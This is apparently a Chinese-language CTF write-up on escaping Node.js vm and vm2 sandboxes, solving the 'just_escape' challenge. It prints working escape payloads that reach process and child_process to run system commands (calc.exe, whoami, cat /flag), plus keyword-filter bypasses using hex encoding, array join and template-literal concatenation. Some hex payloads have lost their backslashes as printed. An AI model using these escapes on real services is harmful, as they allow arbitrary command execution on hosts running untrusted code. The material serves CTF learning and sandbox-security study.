基础知识
Node.js安装及环境配置之Windows篇
然后看下大佬们所说的考点
vm.js 沙箱逃逸与过滤绕过
什么是vm
通过这篇文章简单理解下nodejs中的虚拟机概念。nodejs虚拟机
虚拟机可以看做一个上下文环境,而所有的函数执行都围绕着沙箱中的变量来进行,不会影响到外部的内容。
runInContext
const vm = require('vm')
const sandbox = {
boxHuman:'kit',
boxVar:200,
};
vm.createContext(sandbox)
vm.runInContext('boxVar *= 2',sandbox)
console.log(sandbox)
//{
// boxHuman: 'kit',
// boxVar: 400,
//}
在这个简单的例子中我们创建了一个沙箱环境,其中包含了两个变量。在runInContext
中指定了运行环境为sandbox,所以最终打印的内容boxVar变为了400。这里沙箱中是不会包含一些全局函数的,我们可以简单的修改代码,尝试利用vm执行打印一段文字。
vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;console.log("打印boxVar的值")',sandbox)
console.log(sandbox)
发现不会执行打印操作。如果需要执行console.log则需要在sandbox中引入这个方法
const sandbox = {
boxHuman:'kit',
boxVar:200,
log:console.log
};
vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;log("打印boxVar的值")',sandbox)
console.log(sandbox)
// 打印boxVar的值
// { boxHuman: 'kit', boxVar: 400, log: [Function: log] }
这样就可以正常使用console.log方法了。
runInThisContext
而runInThisContext
执行的环境则默认为当前的上下文,里面的变量只能是当前的全局变量与方法。console
// 测试能否改变全局变量
globalVar = 1000
vm.runInThisContext('globalVar *= 2;');
console.log(globalVar)
// 测试能否改变本地变量
var localVar = 200;
vm.runInThisContext('localVar *= 2');
console.log(localVar)
// 2000
// evalmachine.<anonymous>:1
// localVar *= 2
// ^
//
// ReferenceError: localVar is not defined
通过结果可以看出对全局变量的修改成功而本地变量则报错。
runInNewContext
这个方法类似于runInContext,对上下文环境更严格,只会接受第二个参数传入的变量,外界的全局变量方法都不支持。与new Function
用法几乎相同
const sandbox = {
boxHuman:'kit',
boxVar:200,
};
vm.runInNewContext('boxVar *= 2',sandbox)
console.log(sandbox)
// 基本等同于
var fn = new Function("boxVar",'boxVar *= 2;')
fn(boxVar)
其余一些性能等问题可以参考上面给出的司徒正美大佬的文章。
vm的安全问题
vm虽然提供了一个上下文环境,但是很容易被逃逸出
const vm = require('vm')
const sandbox = {
boxHuman:'kit',
boxVar:200,
};
vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;console.log(boxVar)',sandbox)
同样看刚刚的代码,由于沙箱环境中没有全局方法console,所以不会打印boxVar的值。
const vm = require('vm')
const sandbox = {
boxHuman:'kit',
boxVar:200,
};
vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;this.constructor.constructor("a","console.log(a)")(boxVar)',sandbox)
// 400
而通过简单的修改代码,就可以在沙箱环境中使用全局方法console.log。
this.constructor.constructor("a","console.log(a)")(boxVar)
这行代码中this值得是上下文环境Sandbox,而通过this.constructor.constructor
就可以获得一个Function
对象。
这个Function
对象的上下文环境就不仅仅处于Sandbox而是在真正的全局环境中,所以可以调用全局环境的内容。
Function可以用于创建一个函数。
第前面的参数为传入的内容,而最后一个参数为函数的内容。
通过这个例子可以看出,一些全局对象通过多次取constructor
最终可以获得Function对象。
最终的目标是在沙箱中执行系统命令,payload如下
var res = vm.runInContext('this.constructor.constructor(\'return this.process\')().mainModule.require(\'child_process\').execSync(\'calc.exe\').toString()', sandbox)
console.log(res)
通过Function获得process,再利用process引入child_process最终调用execSync执行命令。
由于vm保证不了沙箱的执行安全性,所以就有了一些开源的模块用来运行不信任的代码如 sandbox、vm2、jailed 等。关于沙箱安全的问题可以参考https://zhuanlan.zhihu.com/p/35992886这篇文章,由于没怎么写过Nodejs,这里就不深入研究这些模块的安全性了。
github中XmiliaH大佬提交了多种逃逸方法。
vm2逃逸
这篇文章也分析了逃逸的原理
vm2沙箱逃逸分析
just_escape writeup
进入题目提示可以执行代码,而且暗示不是php语言。
输入Error().stack得到错误的页面
github中找到大佬的breakout
https://github.com/patriksimek/vm2/issues/225
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
通过测试"
,'
会被拦截
可以替换为重音符号`
替换后发现还是被拦截,继续fuzz过滤的关键字
process
,exev
,prototype
也被拦截
因为fun.a与fun[‘a’]等价,然后对于关键字的过滤一般的绕过方式为编码或者拼接,可以通过两种方式构造。
编码字符
prototyp --> x70x72x6fx74x6fx74x79x70x65
get_process --> x67x65x74x5fx70x72x6fx63x65x73x73
...
payload:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()}
拼接字符
数组的join方法拼接字符
(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()
or
利用${}
来拼接
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()